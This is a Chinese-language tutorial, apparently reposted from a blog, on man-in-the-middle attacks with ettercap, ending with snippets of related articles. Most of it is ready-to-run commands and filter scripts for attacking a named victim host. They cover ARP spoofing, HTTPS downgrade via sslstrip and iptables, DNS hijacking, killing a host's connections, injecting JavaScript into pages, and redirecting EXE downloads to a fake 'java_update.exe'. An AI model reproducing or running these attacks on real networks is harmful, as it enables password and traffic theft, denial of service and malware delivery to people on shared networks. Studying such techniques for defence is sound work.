ettercap 实施中间人攻击

中间人攻击(Man-in-the-MiddleAttack 简称"MITM攻击")中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到如今还具有极大的扩展空间,在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式,

随着计算机通信网技术的不断发展,MITM攻击也越来越多样化.最初,攻击者只要将网卡设为混杂模式,伪装成代理服务器监听特定的流量就可以实现攻击,这是因为很多通信协议都是以明文来进行传输的,如HTTP、FTP、Telnet等.后来,随着交换机代替集线器,简单的嗅探攻击已经不能成功,必须先进行ARP欺骗才行.如今,越来越多的服务商开始采用加密通信 SSL(Secure Sockets Layer 安全套接层)是一种广泛使用的技术,HTTPS、FTPS等都是建立在其基础上的.

今天要将的主要是基于Ettercap的中间人攻击,一般常用的中间人攻击无外乎四种:ARP缓存投毒,ICMP重定向,端口监听,DHCP欺骗.在这里要介绍一下ARP欺骗、DNS欺骗、会话劫持、密码嗅探以及SSL加密的密码嗅探.其实Ettercap的功能是很强大的,从它的插件就可以看到功能有,发现可疑ARP活动、ARP响应、DNS欺骗、Dos攻击、发现连接(交换环境)、发现Ettercap活动、列出子网未使用的IP、隔离主机、MAC泛洪、ssltrip等.

Dsniff包中的工具基本上可以分为四类:

1.纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy、sshow
2.针对SSH和SSL的MITM"攻击"工具,包括sshmitm和webmitm
3.发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof
4.其它工具,包括tcpkill、tcpnice

HTTP模式嗅探

1.在Kali系统下运行下面的代码片段,就可以实现http模式的嗅探了.

ettercap -i eth0 -T -M arp:remote /192.168.1.100// /192.168.1.1//

-T 文字模式显示
-M 指定为双向arp欺骗
/192.168.1.100// 为要攻击的IP地址
/192.168.1.1// 本地的网关地址

driftnet -i eth0   截取图片
urlsnarf -i eth0   截取URL

HTTPS降级嗅探

1.通过命令收集局域网的IP地址信息,和网关等.


ifcofing       命令查看当前网关
netdiscover    获取到当前目标IP

2.启动ARP欺骗功能,运行下面代码

ettercap -i eth0 -T -M arp:remote /192.168.1.100// /192.168.1.1//

-i  指定网卡接口
-T  文本显示模式
-M 指定为双向arp欺骗
/192.168.1.100// 为要攻击的IP地址
/192.168.1.1// 本地的网关地址

3.重新打开一个命令行窗口,分别执行下面三个命令行,过滤https协议将其转化成http

echo 1 > /proc/sys/net/ipv4/ip_forward                                        开启数据重定向
iptalbes -t nat -F                                                            暂时清空防火墙规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000  开启80端口的数据转发到10000端口
sslstrip -l 10000                                                             执行sslstrip欺骗,把网页中的https协议转换为http协议
iptables -t nat -L                                                            查看iptables列表是否生效

此时当用户浏览的网页中包含https协议,会被转化为http协议的请求.但是sslstrip也不是万能的,假如网页中没有https,但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了.如果用户打开网页的时候请求就是https,会导致证书认证失败,网页一直打不开.

4.下面开启欺骗工具,截获目标主机的图片流.

driftnet -i eth0

DNS域名劫持

1.安装并启动apache服务程序,后期我们要将页面跳转到kali的http服务上.

[email protected]:~# echo "hello lyshark" > /var/www/html/index.html
[email protected]:~# systemctl restart apache2
[email protected]:~# systemctl status apache2

● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
   Active: active (running) since Thu 2018-12-20 21:48:42 CST; 4s ago
  Process: 2521 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2532 (apache2)

[email protected]:~# curl 127.0.0.1
hello lyshark

2.通过使用netdiscover命令获取到主机信息,这里我们主要来确定一下192.168.1.1是网关192.168.1.100为被攻击主机.

[email protected]:~# netdiscover

Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts           

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.1.1     11:72:se:c7:se:af      1      60  TP-LINK TECHNOLOGIES CO.,LTD
 192.168.1.3     ac:3s:ca:xf:g1:w8      1      60  GUANGDONG OPPO MOBILE TELECO
 192.168.1.100   f2:1e:28:4e:4c:s4      1      60  Dell Inc.

3.配置地址,此处写入要跳转的页面地址.

[email protected]:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.8  netmask 255.255.255.0  broadcast 192.168.1.255    确认自身IP地址

[email protected]:~# vim /etc/ettercap/etter.dns 

################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

*.com A 192.168.1.8     添加跳转页面,意思是只要是.com结尾的,跳转到本机IP
*.org A 192.168.1.8

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed

4.开启转发,并启动中间人攻击.

[email protected]:~# echo 1 > /proc/sys/net/ipv4/ip_forward
[email protected]:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.100// /192.168.1.1//

[email protected]:~# ettercap -i eth0 -T -P dns_spoof -M arp // //     #针对所有主机

此时被攻击主机,无论访问什么网站,都会跳转到本机的apache页面上,并看到hello lyshark的提示信息.

Kill掉指定主机

1.编写一个过滤脚本,下面的脚本名为etter.filter.kill,内容如下.

[email protected]:~# vim etter.filter.kill

if (ip.src == '被攻击主机IP') {
      # sent the RST to both source and dest
      kill();
      # don't even forward the packet
      drop();
      msg("HaHa  has killed...\n");
 }

2.编译成ettercap可以识别的二进制的二进制文件.

ettercap ./etter.filter.kill -o ./etter_kill.ef

3.使用ettercap加载此脚本(-q 安静模式,即不显示数据包信息):

ettercap -i eth0 -T -F ./etter_kill.ef -M arp:remote /192.168.1.100// /92.168.1.1// -q

cd /usr/share/ettercap

1.使用的过滤脚本为etter.filter.kill,如下

vim ./etter.filter.kill

if (ip.src == '10.0.0.16') {
      # sent the RST to both source and dest
      kill();
      # don't even forward the packet
      drop();
      msg("HaHa! a 2b(ip:10.0.0.16) has killed...\n");
 }

2.编译成ettercap可以识别的二进制的二进制文件

ettercap ./etter.filter.kill -o ./etter_kill.ef  #编译生成配置文件

3.使用ettercap加载此脚本(-q 安静模式,即不显示数据包信息):

ettercap -i eth0 -T -F ./etter_kill.ef -M arp:remote /192.168.1.100// /92.168.1.1// -q

替换网页的图片

把浏览网页时的图片换掉试试,使用的脚本是etter.filter.images

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
   replace("IMG SRC=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
   msg("Filter Ran.\n");
}

JavaSproit注入

使用的脚本是etter.filter.alert,弹窗提示

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
           replace("Accept-Encoding", "Accept-Rubbish!");
           msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<body>")) {
        replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>");
        replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>");
        msg("Filter run!...Exploit code injected ok!\n");
    }
}

替换URL

# replace rmccurdy with your website
# replace the url with what ever exe you like

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
   replace("Keep-Alive", "close" ");
}

if (ip.proto == TCP && search(DATA.data, ": application") ){
   # enable for logging log(DECODED.data, "/tmp/log.log");
   msg("found EXEn");
   # "Win32" is the first part of the exe example:
   # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
   if (search(DATA.data, "Win32")) {
      msg("doing nothingn");
   } else {
      replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe ");
      msg("redirect successn");
   }
}

SSL密码嗅探

对SSL流量的嗅探,可以使用sslstrip这个工具,它的原理就是把所有的https流量降级为http流量。

相当于一个中间人的角色,它与服务器建立正常的https,而与浏览器则使用http连接。使用时需要本机开启流量转发,将80端口的http流量同时转发到10000端口上,在10000端口上使用sslstrip来监听即可:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# sslstrip -l 10000

原文地址:https://www.cnblogs.com/LyShark/p/10153685.html

时间: 2024-10-09 19:04:23

ettercap 实施中间人攻击的相关文章

使用ettercap实现中间人攻击

声明:此文档仅供安全学习和教学用途,禁止非法使用. ettercap 实验环境: 攻击机:kali 1.0 靶机:windowsxp sp3 ip Web服务:turkey linux wordpress web登陆地址http://192.168.61.133 实验步骤: 1.启动ettercap: 使用命令ettercap –G 2.菜单栏选择sniff|Unifed sniffing 选项或按shift+u组合键 3.选择网络接口,这里选eth0启动接口 4.启动接口后扫描主机依次选择菜单

再谈中间人攻击

前言 上一篇ARP欺骗与中间人攻击讲到了MITM攻击的基础和原理,并且在实验中成功对网关和目标主机进行了ARP毒化,从而使得无论目标的外出数据或流入数据都会经过本机这个“中间人”.在上篇后记里也略为提及到,中间人可以做的事情有很多,但是没有详细介绍.因此本文就来谈谈如何截取目标流量以及如何对目标看似杂乱无章的数据进行提取,分析和修改. 流量分析 通常我们成功变成中间人之后,会一直捕捉目标的流量数据并且保存为本地的cap文件,然后再用工具对数据信息进行分析.流量抓取的方式有很多,比如Linux下的

Ettercap中间人攻击--介绍

前言 Ettercap有四种界面:Text,Curses,GTK2,Daemonize. -T      命令行界面,只显示字符.通常与配套的参数有-q(安静模式),加上该选项,则不会显示抓到的数据包内容. Curses和GTK2是图形化界面. Daemonize是守护模式,相当于在后台运行. ettercap运行方式 ettercap有两种运行方式:UNIFIED和BRIDGED. 其中,UNIFIED的方式是以中间人方式嗅探:BRIDGED方式是在双网卡情况下,嗅探两块网卡之间的数据包. U

ettercap中间人攻击--参数介绍

攻击和嗅探  -M,  --mitm ARP欺骗,参数 -M arp remote    # 双向模式,同时欺骗通信双方,-M arp:remote. oneway   #单向模式,只arp欺骗第一个目标到第二个目标通信, -M arp:oneway. icmp欺骗,参数 -M icmp:(MAC/IP) DHCP欺骗,参数 -M dhcp:(ip_pool/netmask/dns),如 -M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.

ARP欺骗与中间人攻击

前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP和MITM原理,并在实际环境中对目标主机的流量进行劫持.曝露了公共网络中普遍存在的问题,藉此来看看局域网中的客户端究竟面临着怎样的隐私泄漏和安全风险. ARP与MITM原理 什么是ARP ARP全称为Address Resolution Protocol,即地址解析协议.是根据IP地址获取物理地址的

中间人攻击之arp欺骗 科普ARP欺骗

中间人攻击之arp欺骗 科普ARP欺骗 A <-> B A中有个ARP Table,每次发包都会在此Table中查找,若找不到,发APR Request包询问.此时若hacker冒充B的MAC,于是A -> hacker. (1)如何清空A中的ARP Table?不然它一查询,直接发包给B. 经过百度: ARP Table采用老化机制,某一行一段时间不用就被删除,提速. hacker大量发ARP包产生大量ARP通信量使通络堵塞,A就找不到B,A必然会发ARP Request包问:B是谁,

转:中间人攻击利用框架bettercap测试

0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下: 1.ettercap很成功,但在新时代下它已经老了 2.ettercap的过滤器复杂,使用门槛高 3.在大型网络下,主机发现功能效果很差 4.优化不够,对研究人员来说,无用的功能太多 5.扩展性不够,开发

ARP欺骗与MITM(中间人攻击)实例

? 主题名称 ARP欺骗与MITM(中间人攻击)实例 ? ? ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址.ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址. 在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系.AR

SSH V2的中间人攻击

SSH V2的中间人攻击 2012-12-19 10:48:52     我来说两句      作者:Dis9Team 收藏    我要投稿 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间. 在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持.DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM